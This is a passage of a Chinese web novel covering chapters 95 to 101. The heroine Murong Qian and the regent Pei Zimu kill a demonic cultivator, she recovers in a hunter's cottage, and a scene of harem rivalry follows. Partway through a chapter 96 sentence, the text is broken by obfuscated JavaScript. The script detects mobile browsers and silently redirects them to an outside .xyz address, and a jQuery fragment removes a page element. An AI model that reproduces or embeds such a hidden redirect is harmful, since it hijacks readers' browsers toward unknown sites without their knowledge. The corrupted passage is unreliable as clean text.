慕容浅深吸一口气,“你若杀了她们,我更没有顾虑,你有把握一定能逃得出镇北军的包围?” 她踏出半步,染血的裙摆扫过青砖,“你我都清楚,今日若想全身而退,总要有些诚意。” 她的目光扫过三个颤抖的姑娘,慕容雪倔强地咬着下唇,慕容玉苍白的脸上满是决然,而慕容笙已近乎昏厥。 “你先放一个人,我便让将士们让开西侧偏门,否则鱼死网破,对你我都没好处。” 慕容浅的声音虚弱却坚定,在寂静的大殿里回荡。 广海脸色阴晴不定,显然在权衡利弊。 慕容浅继续施压:“一个时辰后,你这邪法的效力就会消失。拖着三个累赘,你确定能全身而退?” 这话显然戳中了广海的软肋。他冷哼一声:“好,放一个人可以,但人选得由我定。” 第96章 反杀 “不行!”慕容笙突然尖叫起来,妆容花乱的脸上满是惊恐,“必须先放了我!我爹可是侯爷,你们敢动我,都得死!” 她拼命扭动身体,却被广海铁钳般的手死死扣住。 慕容玉护着慕容雪,苍白的脸上满是决然:“放小妹走!她年纪最小,什么都不懂……” 她转头看向妹妹,声音温柔却坚定:“小雪别怕,姐姐在。” 慕容雪咬着嘴唇,眼泪在眼眶里打转,却倔强地摇头:“不,我不走!要走一起走!” 她的小手紧紧攥着慕容玉的衣袖,稚嫩的声音里带着与年龄不符的坚韧。 慕容浅按住渗血的伤口,目光如刃:“广海,先放了小雪。她年纪最小,带着她只会拖累你。” 话音未落,慕容笙突然剧烈挣扎起来,指甲在广海手臂上抓出几道血痕:“放我!必须先放我!慕容浅,你是不是想乘机搞死我?!” 慕容玉死死护着身后的慕容雪,苍白的脸上泛起决绝:“放了小雪!我愿意留下做人质!” 慕容雪眼眶通红,却倔强地摇头:“我不走!我要和姐姐在一起!” 广海嫌恶地皱起眉头,手掌狠狠一甩,慕容笙像破布般飞了出去,重重摔在镇北军防线前。 “看起来你最不值钱。”他冷哼一声,沾着血迹的手指擦过慕容玉的脸颊,“留着你这种怕死鬼,本座还要分心堵你的嘴,不如扔了省事!” 他掐住慕容玉和慕容雪的脖颈,阴恻恻地笑起来,“这两个,一个愿为另一个送命,一个死也要守在一起,可比你这贪生怕死的玩意儿有意思多了。” “我既已放人,你们也该兑现承诺!” 广海周身魔气暴涨,震得屋檐瓦片簌簌坠落。 “立刻撤开西侧防线,备一匹快马!若敢拖延……” 话音戛然而止,他掐着慕容玉的手骤然收紧,少女苍白的脸上瞬间泛起青紫。 慕容浅一双寒眸死死盯着广海的一举一动,几乎压抑不住要冲上去。 裴子慕按住她紧绷的手背,暗自摇头,示意不要轻举妄动。 镇北军将士们面沉如水,**如林却纹丝不动,只待主帅一声令下。 “广海,你当真以为能全身而退?不如束手就擒,还能留个全尸。”裴子慕的声音冷如寒冰。 广海却发出癫狂大笑,腐臭的气息混着魔气扑面而来:“事到如今我哪还有回头路,我数到三,再不让开我就不客气了!一……二……” 裴子慕举起手,西侧防线缓缓撤开半丈宽的缺口。 远处传来急促的马蹄声,一匹漆黑如墨的战马被牵至殿前。 广海拖着不断挣扎的慕容玉、慕容雪步步后退,森然警告:“若敢追击,这两个丫头即刻血溅当场!” 他粗暴地将慕容玉和慕容雪拽上马背,腐臭的呼吸喷在两人头顶:“给我老实点!敢耍花样我要你们立刻死!” 话音未落,马匹已如离弦之箭冲出寺院。 慕容雪被挤在广海胸前,隔着布料都能感受到他皮肤下翻涌的邪力,余光瞥见姐姐慕容玉悄悄摸向发间的银簪。 马蹄声震得大地发颤,夜风卷着沙尘迷得人睁不开眼。 广海单手控缰,另一只手死死扣住两人肩膀。 慕容雪突然剧烈咳嗽起来,身体不受控地向后倒去,恰好撞在广海受伤的半边身体处。 “找死!”广海吃痛松手,慕容玉趁机甩出银簪,寒光直取他唯一完好的左眼。 广海暴喝一声偏头躲过,却不料慕容雪早将藏在靴中的短刃攥在掌心,借着马匹颠簸的力道,狠狠刺向他腰间命门。 广海痛得浑身抽搐,魔气不受控地外泄,马匹受惊前蹄腾空。 慕容玉抓住机会,扯下束发的丝带缠住他脖颈,与妹妹合力向后猛拽。 “小**!”广海双目充血,反手掐住慕容雪咽喉。 千钧一发之际,慕容玉用簪子狠狠扎进他手腕。 广海吃痛松手,三人在马背上翻滚缠斗。 慕容雪瞅准他脖颈的破绽,短刃划出弧线, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15769874|172022||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在广海脖颈留下一道深可见骨的伤口。 鲜血喷涌而出,广海癫狂的笑声戛然而止。 他挥掌击向马背,受惊的马匹人立而起,将三人掀翻在地。 慕容玉死死抱住妹妹滚向路边,在尘土飞扬中,她们听见身后传来慕容浅焦急的呼喊,以及广海不甘的怒吼逐渐远去。 马蹄踏碎青石的声响如战鼓轰鸣,裴子慕的玄铁轮椅碾过血渍斑驳的地面,身后三百镇北军扬起的尘土遮蔽了半边夜空。 慕容浅咬破舌尖,将最后一道符咒拍在掌心,染血的裙摆翻飞间,她凌空跃起,袖中三道飞剑嗡鸣出鞘,剑芒映亮广海狰狞的面孔。 “受死吧!” 广海脖颈的伤口仍在汩汩冒血,右**促结印,却被慕容雪留下的致命伤拖慢了动作。 三道飞剑如银蛇破空,剑光交织成网封住他所有退路。 裴子慕的**紧随其后,枪尖划破空气发出尖锐的啸叫,与飞剑形成前后夹击之势。 “哈哈,我死也要拉你们垫背!”广海癫狂大笑,周身魔气暴涨,化作无数黑**扑向剑阵。 慕容浅玉指翻飞,剑身上符文光芒大盛,将黑**绞成齑粉。 缠斗间,一道剑气擦过广海脸颊,在他脸上划出深可见骨的伤痕,彻底激怒了这个邪修。 广海突然舍弃防御,双掌结出禁忌手印,整个人如炮弹般冲向慕容浅。 裴子慕瞳孔骤缩,一拍轮椅扶手上的暗格,暗藏的机关射出三道锁链缠住广海脚踝。 慕容浅趁机召回飞剑,三剑合一化作百丈剑芒,直取广海眉心。 “啊……” 惨叫声中,广海的身躯被剑芒不断来回贯穿。 他不甘的嘶吼声震落屋檐瓦片,魔气如退潮般消散,最终化作一缕黑烟,消散在黎明前的夜色里。 慕容浅力竭落地,被及时赶来的裴子慕稳稳接住。 远处,慕容玉紧紧抱着慕容雪,颤抖的手指终于松开了染血的银簪,也放心的晕了过去。 第97章 猎户 慕容浅在混沌中悠悠转醒,鼻尖先触到一股陌生的气息,混杂着柴火余烬、兽皮腥味与草药苦涩。 她缓缓睁开眼,头顶是粗糙的木梁,几缕阳光从茅草缝隙间漏下,在斑驳的土墙上映出细碎的金斑。 身下铺着的粗布被褥带着淡淡的干草味,硌人的触感让她意识到,这并非侯府或是青山观的床铺。 外间传来压低的交谈声,忽远忽近。 她猛地想起广海临死前的反扑,浑身一震,伤口处的剧痛却让她闷哼出声。 挣扎着要起身时,木门 “吱呀” 轻响,裴子慕的身影出现在门口。 他玄色衣襟染着尘土,墨发随意束在脑后,眼下一片青黑,却在看到她转醒的瞬间,紧绷的眉眼终于有了温度。 “慕容姑娘,别动。” 他转动轮椅上前,伸手虚扶在她肩头。 “我妹妹……”慕容浅想开口询问,却发现嗓子干哑的说不出话。 她想撑起身子,却被裴子慕按住肩头,力道轻柔却不容抗拒。 “别说话。” 裴子慕端起粗陶茶盏,指尖拂过盏沿的裂纹,将温热的茶水递到她唇边,“镇北军与王府守卫已护送三位姑娘回侯府。前夜你的伤口又崩裂了,怕车马颠簸,就近找了个猎户家休息。” 慕容浅目露疑惑,前夜? 裴子慕抬手替她掖好滑落的薄毯,指尖带着冷意:“你昏迷了整整一天一夜……” 他顿了顿,目光扫过她苍白的脸色,声音不自觉放柔,“先好生歇着,一切有我。” 忽有窸窣响动从半掩的木门传来,慕容浅循声望去,见一名身形微胖的农妇扶着隆起的腹部,小心翼翼端着粗陶碗跨进门槛。 蒸腾的热气裹着香气漫进屋内,她鬓角沾着碎发,眼角笑纹里都藏着温和:“可算醒了,这粥熬得软糯,快趁热喝。” 裴子慕起身要接,却被农妇摇头避开:“使不得使不得,你守了娘子一夜,快歇歇吧。” 她将粥碗搁在炕沿,“骑马怎的这般不小心?前儿夜里你家相公抱着浑身是血的你敲门,脸都白透了。” 见慕容浅怔在原地,农妇还以为她吓着了,忙拍着她手背安抚:“别怕别怕,伤口都上了最好的草药。我家那口子特意上山采的,保管好得快。” 她浑然不觉二人之间微妙的尴尬,只笑着朝裴子慕竖起大拇指,“相公疼娘子是本分,但也得顾着自己身子,快歇会儿吧。” 热气氤氲间,慕容浅双颊蓦地染上薄红。 她下意识捏紧碗沿,正要开口辩解二人并非夫妻,目光却扫过裴子慕腰间若隐若现的玄铁令牌 —— 那是镇北军主帅的信物,一旦泄露行踪,恐将招来不必要的麻烦。 话到嘴边又生生咽下,只得垂眸搅动碗中米粥,任热气模糊了眼睫。 裴子慕喉结滚动,平日里运筹帷幄的摄政王此刻竟有些手足无措。 他微微欠身,墨发垂落遮住泛红的耳尖:“有劳你费心照料。” 话音未落,农妇已爽朗地摆摆手:“说什么客气话,谁家没个急难时候?” 她转身时,衣摆带起的风拂过屋内,将两人的局促悄然裹入暖意里。 慕容浅偷眼打量眼前人,往日那个身着华服、周身贵气逼人的摄政王,此刻却判若两人。 他墨发凌乱地束在脑后,几缕碎发垂落额前,眉眼间尽是藏不住的疲惫。 玄色锦袍布满褶皱,沾着斑驳的灰尘与干涸的血迹,显然从恶战后便未曾换洗。 当她的目光与他对上时,才惊觉他眼底布满血丝。 听方才农妇所言,这一日一夜里,他竟是未曾合眼。 慕容浅握着粗陶碗的指尖微微发颤,农妇那句 “你家相公抱着浑身是血的你敲门,脸都白透了” 如重锤般砸在心头。 她抬眼望向裴子慕,晨光斜斜掠过他眉眼,疲惫像是被刻进了骨血里。 记忆如潮水般翻涌。 前世作为玄门首领,她统领万千修士,日夜应对妖魔作乱,永远是众人仰赖的主心骨。 今生附身在被逐出侯府的五岁孩童身上,在青山观苦修时要照顾年幼的弟子,回侯府后也要周旋于阴谋算计之中。 她早已习惯了将符咒塞进颤抖的手中,习惯了在深夜为伤者运功疗伤,却从未有人这般彻夜不眠地守在她榻前。 喉间涌上一丝酸涩,这种被人珍视、被人担忧的感觉太过陌生,竟让她握碗的手都有些不稳。 温热的粥在碗中荡起细小的涟漪,恰似她此刻翻涌的心绪。 她分不清胸腔里那团灼热究竟是感激,还是某种更复杂的情愫,只觉得有什么东西正在心底悄然破土,像是初春的第一缕暖阳,融化了她长久以来筑起的坚冰。 “别发呆了,快趁热喝了吧。”农妇好心提醒。 慕容浅捧着粗陶碗,刚要喝一口温粥,忽听得院外传来 “吱呀” 一声。 她抬眸望去,就见农妇扶着隆起的小腹,动作利落地掩上斑驳的木门。 春日的风卷着细沙掠过窗棂,将糊窗的薄纸吹得簌簌作响,却挡不住那断断续续的对话声飘进屋内。 “当家的,你可算回来了!” 农妇的声音里带着如释重负的欣喜。 慕容浅凑近窗边,透过窗纸的破洞,看见猎户扛着弓箭大步走来,手里还拎着一只皮毛油亮的野兔。 他古铜色的脸庞被日头晒得发红,却笑得憨直:“今早在南山坳守了大半个时辰,可逮着这肥兔子了!” “快拿去收拾了。” 农妇伸手轻轻拍了拍丈夫沾着草屑的后背,目光朝屋内瞥了瞥,压低声音道,“那姑娘失血过多,身子太虚,你把这兔子炖成汤,给她好好补补。” 猎户闻言,立即将野兔解下来,布满老茧的手摩挲着兔子皮毛:“瞧我这记性,早该想到的!我这就去拾掇,再挖些新鲜草药煨进去,保管补身子!” 裴子慕原本整理绷带的动作一顿,墨色的眼眸微微动容。 屋内安静下来,唯有窗外传来柴火噼啪作响的声音,混着农妇叮嘱丈夫 “小心切到手” 的嗔怪声,像一股温热的暖流,悄然漫过这简陋的小屋。 慕容浅握着碗的手指紧了紧,清苦的药香里,似乎真的隐隐飘来一丝兔肉的鲜香。 第98章 号脉 屋外传来猎户磨刀霍霍的声响,混着农妇哼唱的乡间小调,柴火噼啪声中还飘来兔肉焯水的香气。 慕容浅盯着碗里凉透的药粥,耳尖却不自觉地捕捉着屋外对话。 “你瞧瞧那后生,生得剑眉星目,气派得很。” 猎户的声音裹着笑意,“昨儿夜里抱着娘子敲门时,眼里急得都要冒火了。” “他媳妇也俊,瞧着文文弱弱的,没想到骑马这么莽撞。” 农妇笑着往灶膛添柴,木柴爆裂的火星子溅起,“不过两人感情是真好,我今儿早上去打水,还见那后生在屋檐下,给娘子煎药呢。” 屋内,慕容浅握汤匙的手指骤然收紧,瓷碗与勺碰撞发出轻响。 她慌乱抬头,正撞上裴子慕同样不自在的目光。 平日里运筹帷幄的摄政王耳尖泛红,喉结不自然地滚动,偏过头去整理案上杂乱的绷带,却将一瓶金疮药碰落在地。 两人同时伸手去捡,指尖在半空中堪堪相触,又触电般同时缩回。 屋外传来农妇的笑声,屋内的空气却仿佛凝滞住,只余下愈发急促的心跳声。 正尴尬间,一阵急促的脚步声由远及近,惊得梁上的麻雀扑棱棱乱飞。 “王爷,软轿已经备好,随时可启程回城。” 夜无殇低沉的声音隔着木门传来,暗卫首领特有的冷冽气息透过门缝渗进来,与屋内凝滞的暧昧空气形成鲜明对比。 慕容浅如释重负地松了口气,裴子慕也下意识放松了脊背。 慕容浅轻撑着炕沿缓缓起身,活动了下身体,苍白的脸上露出一丝笑意:“歇了这一日,倒是觉得好了许多,这软轿怕是用不上了。” 她话音未落,夜无殇便抱拳沉声道:“姑娘体恤,但这软轿是王爷特意吩咐准备,轿内铺了三层厚毡,又备了暖炉与汤药,就怕风寒侵了伤口,还望姑娘莫要推辞。” 裴子慕背手立于门边,耳尖微微发烫,却仍保持着摄政王的沉稳:“你失血过多,又受了魔气反噬,此刻逞强无益。” 他顿了顿,目光扫过慕容浅略显单薄的衣衫,“何况……这一路颠簸,总要万全些才好。” 屋外柴火噼啪作响,将他未尽的关切都烘成了暖意。 听闻要走,正在灶间忙碌的猎户夫妇对视一眼,手中活计顿住。 农妇扶着隆起的小腹快步上前,脸上满是惊讶:“这么急就要走?昨儿瞧着姑娘还昏昏沉沉的……” 话音未落,她瞥见院外气派的软轿,以及侍卫腰间寒光凛凛的佩刀,后半句话便咽了回去。 “是啊,这就要走?” 猎户挠着后脑勺,粗糙的手掌还沾着兔肉的油星,“再多住两日,山里草药多,给姑娘好好调养。” “早些回城,大夫瞧着也方便。” 农妇打断丈夫的话,笑着拍了拍慕容浅的手背,“姑娘这细皮嫩肉的,确实不适合在咱这粗陋地方多待。” 趁猎户夫妇收拾的间隙,裴子慕不着痕迹地将一张银票压在桌角茶壶下。 慕容浅再看时,他已转身朝外走去,墨色衣摆掠过门槛,只留给她一个清隽的背影。 “多谢二位照料之恩。” 慕容浅朝猎户夫妇行了个礼。 “姑娘等等。”农妇转身从灶台将炖好的野兔盛到保温瓦罐里,“带上带上!山里没甚好东西,就当给姑娘路上垫垫肚子。” 农妇不由分说地将瓦罐塞进慕容浅怀里,罐身的热气透过粗陶传来,烫得她手指微微发颤。 正要道谢时,两人手腕不经意相触,慕容浅指尖刚触及农妇的脉搏,面色陡然一变。 她放下瓦罐,扶住农妇的手,眉峰紧紧蹙起:“你怀孕多久了?平日可觉得身子有异常?比如恶心呕吐、胸闷气短?” 农妇一愣,有些局促地挠了挠头,双颊泛起红晕:“哎哟,姑娘怎的突然问这个?” 她下意识摸了摸隆起的小腹,憨笑着说,“俺们庄稼人,哪有那么娇贵?就是最近总犯恶心,不过想着熬一熬就过去了。从镇上回春堂抓了几副保胎药吃,倒是能压一压……” 回春堂? 裴子慕惊讶的挑眉,看向慕容浅。 两人视线交汇的刹那,他目光下移,用眼神示意是否真有隐情。 慕容浅垂眸,看似不经意地扫过农妇高高隆起的腹部,那弧度圆润得异乎寻常,胎动的节奏也与常人不同,竟与刘氏夫人如出一辙。 她睫毛轻颤,不着痕迹地点了点头。 裴子慕神色不动,目光扫过猎户,忽而轻笑一声:“我府上正缺个擅打猎的好手。” 他抬手虚引,看向猎户夫妇,“二位若不嫌弃,随我们进城如何?既有人照料产妇,府上猎场广阔,也能让兄弟一展身手。” 猎户一愣,握着妻子的手紧了紧:“使不得使不得,俺们山野之人,哪能去府上叨扰……” “正是用人之际。” 裴子慕接过话头,指尖无意识摩挲着轮椅扶手,“况且尊夫人怀有身孕,城里大夫瞧得仔细。若不嫌弃,就当帮个忙?” 农妇攥着围裙的手指微微发白,下意识摸了摸隆起的腹部。 这些日子她总觉得胎动异常,夜半时常被腹中传来的寒意惊醒,可看着丈夫每日天不亮就上山打猎,又把到嘴边的话咽了回去。 庄稼人哪有那么娇贵?不过是孕期的寻常反应罢了。 “当家的……” 她望向猎户,眼中满是迟疑。 猎户挠着后脑勺,粗糙的脸庞涨得通红:“这……这不是给人添麻烦吗?” “两位莫要多想。” 慕容浅上前半步,目光落在农妇泛着青灰的眼下,“城里的大夫用的都是好药材,诊脉也细致。您怀着孩子,万不可马虎。” “正是这话。” 裴子慕点头,玄色锦袍上暗绣的云纹在阳光下若隐若现,“府上有个老医正,专治妇人疑难杂症。” 农妇咬着下唇,腹中突然传来一阵绞痛,她疼得脸色发白,却强撑着挤出笑容。 想起回春堂抓的药吃了半月也不见好,再看看丈夫担忧的眼神,终于点了点头:“那就……叨扰各位了。” 猎户也挠了挠头,憨笑道:“那……那敢情好?就是怕俺们笨手笨脚的……” “无妨。” 裴子慕转身时,将隐晦的担忧一并掩住,“夜无殇,去备两辆马车,务必平稳些。” 第99章 贵妃 卯时三刻,晨光刚染透椒房殿的朱漆廊柱,各宫妃嫔已踩着绣鞋鱼贯而入。 博山炉飘出袅袅龙涎香,与胭脂水粉气息混作一团,在雕着鸾凤和鸣的藻井下方盘旋。 “给皇后娘娘请安。” 莺莺燕燕的声音此起彼伏。 请安声如潮水漫过丹墀,阶下跪着的妃嫔们低眉敛目,珠翠满头的鬓角在晨光里泛着细碎银光。 皇后端坐在九凤朝阳榻上,月白织金翟衣衬得她愈发端庄,腕间翡翠镯子随着抬手动作轻响:“都起来吧。” 她抬眸扫过众人,乌发间衔珠金凤微微颤动,“昨儿内务府新贡的碧螺春,赏给诸位妹妹尝尝。” 女官捧着茶盏鱼贯而下时,她忽然顿住,目光落在下首第一个空着的座位上。 忽听得环佩叮当由远及近。“哎呀,我来迟了,皇后娘娘恕罪!” 柔贵妃拖着袅袅尾音,在两名宫女搀扶下款步而入,猩红织金襦裙扫过汉白玉阶,裙上金线绣就的芙蓉花随着步伐流光溢彩,鬓边赤金步摇坠着的明珠撞出清脆声响。 她堪堪屈身行礼,腰肢才弯下三分,皇后已笑着抬手:“柔妹妹免礼。” 柔贵妃眼波流转,唇角勾起一抹笑意,顺势直起腰身,莲步轻移便在皇后下手首座落座。 她指尖轻捻鬓边碎发,腕间的羊脂玉镯撞在紫檀木几上,发出清越声响:“昨夜皇上批阅奏折到子时,臣妾伺候着便忘了时辰,今早皇上还叮嘱伺候的下人不要惊扰,让臣妾多睡会,这才来晚了呢。” 她斜睨阶下众人凝固的神色,又取出帕子掩唇轻笑,眼尾丹蔻艳得似要滴出血来。 殿内寂静间,下首的庄妃忽然起身。 她身着石青绣玉兰常服,举止端方有度,朝着皇后福身一礼后,目光转向柔贵妃,语气平和却带着不容置疑的规矩。 “皇后娘娘的恩典是体恤,可臣妾等每日晨昏定省,原是宫里的老例。贵妃娘娘虽蒙皇上宠爱,这君臣之礼、尊卑之分,总该谨记在心才是。” 柔贵妃正把玩着袖中帕子的流苏,闻言眼波一冷,指尖骤然攥紧锦缎:“庄姐姐这是说我不懂规矩了?” 她斜倚在软榻上,猩红裙摆在青砖上铺开如火焰,“皇上疼我,让我多歇息些,难道也碍着姐姐了?倒是姐姐,整日捧着《女诫》不放,怎的连皇上的心意都参不透?” 庄妃脸色微变,还欲再言,皇后已轻轻叩响茶盏:“好了。” 她目光淡淡扫过二人,翡翠镯在晨光中泛着冷光,“柔妹妹素来随性,偶尔疏忽了规矩也是有的。庄妹妹也莫要苛责,都是伺候皇上的姐妹,和和气气的才好。” 说着示意女官上茶,将话头不着痕迹地引开,唯有殿内浮动的香雾里,还凝着未散的针锋相对。 众人垂眸敛目,心底暗自腹诽。 皇后口中的 “随性”,说白了不就是恃宠而骄? 柔贵妃娘家本是江南织造府旁支,父亲不过五品通判,入宫时既无显赫家世撑腰,也无太后恩典加持,全凭着一张祸国殃民的脸博出位。 她生得杏眼含春,眼尾天然上挑三分,不点丹蔻也似含着三分醉意,腰肢盈盈一握,偏偏走起路来步步生风,裙摆扫过之处,连廊下宫灯都要暗上几分。 自去年中秋宴上一曲《霓裳羽衣》艳惊四座,圣上将她从美人连跳三级晋为贵妃,赐居棠梨宫,连协理六宫之权都分了她半成。 如今椒房殿内,除了皇后稳坐主位,其余妃嫔见了她都要矮三分。 也正因如此,她愈发不将规矩放在眼里,晨起请安敢迟到,与皇后对话敢带刺,活脱脱将六宫搅成了沸反盈天的沸水锅。 柔贵妃杏眼微眯,眼尾丹蔻如欲燃的火焰,望着主位上浅笑安然的皇后,忽地从鼻腔溢出一声冷哼。 皇后身着月白翟衣,端坐在九凤朝阳榻上,身姿挺拔如青松,举止间尽显世家风范。 她出身簪缨世家,父兄皆为朝中重臣,在朝堂上举足轻重,这皇后之位,有家族势力稳稳托着。 可若单论容貌,皇后不过生得白净,眉目温婉端庄,少了几分艳丽。 再看自己,杏眼含春,眼波流转间皆是风情,肤若凝脂,唇似朱丹,一颦一笑都能勾得皇上心醉。 自入宫以来,皇上对自己的宠爱日盛,时常召她伴驾,相较之下,皇后得到的恩宠远远不及。 可偏偏就是这样的皇后,能稳坐中宫,每日接受六宫请安,受众人尊崇。 柔贵妃攥紧了手中的绢帕,指甲几乎掐进掌心,满心满眼都是不甘与嫉妒,凭什么自己空有美貌与圣宠,却只能屈居人下 。 柔贵妃眼底翻涌的轻蔑与不屑,在空气中凝成实质。 皇后却恍若未觉,依旧端坐在九凤朝阳榻上,葱白指尖轻轻划过茶盏。 她抬眸环顾四周,乌发间衔珠金凤微微颤动,目光从众人低垂的眉眼间掠过,最后落在角落两名新入宫的美人身上。 不过二八年华,鹅黄襦裙配着珍珠花钿,眼波流转间皆是怯生生的娇态。 “听闻玉才人、兰美人擅昆曲?” 皇后笑意温柔,“昨日皇上还念叨着后宫许久没这般风雅韵事了,以后多来为皇上和本宫唱唱。” 殿内陡然一静。 柔贵妃倚着软榻,猩红蔻丹的手无意识掐进丝绒软垫。 她今日特意着了海棠红云锦裙,鬓边斜簪的赤金步摇随着动作轻晃,倒比往日更添三分艳丽。 “皇后娘娘倒是疼爱新人。” 她轻笑出声,尾音拖得极长。 眼波流转,扫过缩在角落的玉才人、兰美人,唇角勾起一抹似笑非笑的弧度,“只是这昆曲讲究水磨腔调,没个七八年功底,哪能唱出韵味?” 她指尖拈起鬓边珍珠流苏晃了晃,“瞧瞧这两位妹妹,嫩得能掐出水来,怕连《牡丹亭》里的情字,都未必懂得。” 玉才人攥着帕子的指尖瞬间发白,兰美人单薄的肩膀止不住轻颤,两人头几乎要埋进衣襟里。 第100章 芙蓉 柔贵妃见状笑得更肆意,突然抬手轻拍掌心:“罢了罢了,等妹妹们在宫里多磨些时日,懂得什么是良辰美景奈何天,再来娘娘跟前献艺也不迟。” 她尾音带着钩子,轻飘飘荡在殿内,众人鸦雀无声。 皇后却恍若未闻,抬手命女官呈上匣子:“这两对东珠耳坠,赏给两位妹妹。” 她眼角余光瞥见柔贵妃攥紧的拳头,语气愈发温和:“年轻就是好,连戴东珠都显得水灵。不像本宫,如今只敢用些素净的。” “姐姐说笑了。” 柔贵妃霍然起身,裙摆扫过满地青砖,“要说风韵,谁能比得过您?只是皇上前些日子还说,宫里的牡丹虽好,却不及芙蓉鲜活……” 殿内空气凝滞如冰,兰美人低垂的睫毛剧烈颤动,忽然抬眼望向柔贵妃猩红裙裾上金线绣就的芙蓉。 那花朵开得妖冶,卷着勾人的花瓣,与柔贵妃眼尾的丹蔻颜色交相辉映。 她又飞快瞥向皇后温润含笑的面容,咬了咬下唇,攥着裙摆的指尖泛白:“臣妾斗胆……芙蓉虽娇艳欲滴,到底不及牡丹天姿国色。世人皆说,牡丹乃百花之王,天生带着尊贵气度,绝非旁的花儿可比。” 话音落下,她声音发颤,额间已沁出细汗。 皇后原本搭在茶盏上的手轻轻一顿,唇角笑意却愈发深了,腕间翡翠镯相撞发出清越声响:“好!好个百花之王!” 她抬手示意兰美人近前,眼中难得泛起赞赏的光亮,“原以为你只擅昆曲,没想到这般通透。这宫中繁花似锦,可唯有守得住本心、明得了尊卑,才担得起王者二字。” 她尾音轻扬,余光扫过柔贵妃骤然绷紧的下颌线,香炉飘起的青烟中,暗潮汹涌。 兰美人话音未落,柔贵妃手掌已 “啪” 地拍在紫檀木几上,震得茶盏里的碧螺春溅出涟漪:“本宫与皇后娘娘说话,哪轮得到你这小小的美人插嘴?” 她杏眼圆睁,眼尾丹蔻似要滴出血来,“莫不是仗着几分颜色,就敢在椒房殿里放肆?” 皇后指尖轻抚着翡翠镯,笑意却不达眼底:“柔妹妹这是做什么?” 她语气依旧温和,却带着不容置疑的威严,“兰美人年纪小,不懂规矩,你进宫这些年,做姐姐的该多担待些。” 说着漫不经心地将茶盏盖子扣上,“总不能和个新人计较,倒显得咱们宫里的老人,连这点容人之量都没有。” 这话如同一把软刀子,看似在劝解,实则字字戳心。 柔贵妃脸色瞬间涨得通红,她入宫数载圣宠不断,却始终无所出,这向来是她最忌讳的隐痛。 此刻皇后轻飘飘一句 “宫里的老人”,分明是在暗讽她多年受宠却连个皇嗣都留不住。 她攥紧裙摆的指节发白,喉间翻涌着尖锐的反驳,却在触及皇后冷若冰霜的眼神时生生咽下。 皇后虽与皇上感情平平,可膝下的太子却是皇上唯一的嫡子,更是朝堂之上众臣公认的储君。 太子生母的身份,再加上背后娘家盘根错节的势力,让皇后在后宫的地位坚如磐石。 柔贵妃纵然圣眷正浓,也清楚自己空有宠爱,在这母凭子贵的后宫里,根本无法与皇后真正抗衡。 满腔怒火在喉间灼烧,她却只能硬生生忍下,勉强扯出一抹比哭还难看的笑:“姐姐教训得是,妹妹一时看不惯……” 柔贵妃话音未落,皇后已抬手打断,“这皇宫里年年都进新人,最不缺的就是年轻鲜艳的容颜。” 她慢条斯理地品茶,目光似有若无扫过柔贵妃,“柔妹妹,你若现在看不惯,往后新人辈出,难道要日日闹得鸡犬不宁?” 殿内骤然死寂,唯有香炉里的青烟打着旋儿升腾。 柔贵妃攥紧裙摆的指尖几乎要掐进掌心,皇后这话看似规劝,实则字字如针。 她最引以为傲的年轻美貌,在对方口中不过是后宫最廉价的物什。 殿内鸦雀无声,唯有香炉里的青烟袅袅,将她满心的憋屈都笼在这团朦胧之中。 棠梨宫的雕花木门轰然甩上,兽首门环撞出闷响。 柔贵妃解下鬓边赤金步摇,将缀着南海明珠的簪子搁在妆奁上,动作却比往日重了几分。 贴身宫女菱儿捧着茶盏上前:“娘娘消消气,皇后那是嫉妒您圣眷正浓……” “是吗?” 柔贵妃对着铜镜坐下,声音平淡得可怕。 她慢条斯理地摘下珍珠耳坠,指尖拂过镜中自己的眉眼,忽然顿住。 不知何时,眼角竟生出了极细的纹路,在烛光下若隐若现。 “本宫是不是…… 有点老了?” 她轻声开口,望着镜中逐渐模糊的倒影。 菱儿慌忙跪在地上:“娘娘说笑了!满宫上下谁不知道,您正值桃李年华,比那新来的毛丫头水灵十倍!皇上每次见了娘娘,眼睛都挪不开呢!” 柔贵妃没接话,只是用银簪挑起一缕青丝。 发丝在烛火下泛着柔和的光泽,那是用牛乳和玫瑰膏子精心养护的。 她怔怔看了许久,忽然轻笑出声:“再鲜嫩的花儿也有凋零的时候。” 烛光摇曳间,她面上的笑意依旧明艳动人,只是眼底那抹怅然,却怎么也藏不住了。 柔贵妃将银簪轻轻搁回妆奁,指尖在镜中自己眼角的细纹上虚点了一下,忽而转头吩咐:“菱儿,照旧准备。本宫今晚要出去。” 菱儿垂在身侧的手指微微蜷起,面上浮起一层不忍之色。 但是自家主子的脾气她是晓得的,柔贵妃以容貌得宠,平日里也是最注重容貌修饰。 不光花大功夫保养皮肤和身体,更是潜心研究妆容、衣服、首饰等,哪怕有一丁点儿不满意,她都会大发脾气,甚至不愿意出宫门。 可以说为了保持美貌,她愿意做任何事情。 “是。” 菱儿福了福身,将眼底的情绪尽数敛去,转身取来那件常穿的墨色斗篷。 月光透过窗棂洒在柔贵妃猩红的裙裾上,她望着镜中艳丽的容颜,忽然自嘲地笑了笑,任菱儿为自己披上斗篷,将满身风华都裹进夜色里。 第101章 国师 国师府深处,檀木窗棂漏出暖黄烛火,在青石板上投下斑驳光影。 三更梆子响过许久,主殿内的宫灯依旧明亮如昼,袅袅青烟从三足鼎炉中升起,将盘坐在蒲团上的老者笼在氤氲之中。这位年过六旬的国师身披玄色道袍,银发束于道冠之下,眉梢眼角尽是岁月刻下的沟壑。 颔下银须垂至胸前,随着呼吸轻轻晃动,一双浑浊却深邃的眼眸半阖,枯瘦如柴的双手交叠在膝头,周身萦绕着不怒自威的气场。 案上摆放着龟甲、蓍草与泛黄古籍,墙角药炉中传来淡淡苦香,更添几分神秘莫测。 自三年前圣上狩猎时意外坠马,虽经太医院全力救治,却仍落下病根,时常咳血体虚。 寻常药石收效甚微之际,这位隐居多年的国师应召入宫。 他以奇诡的医卜之术辅以秘制药膳,竟真让圣上的身体逐渐好转。 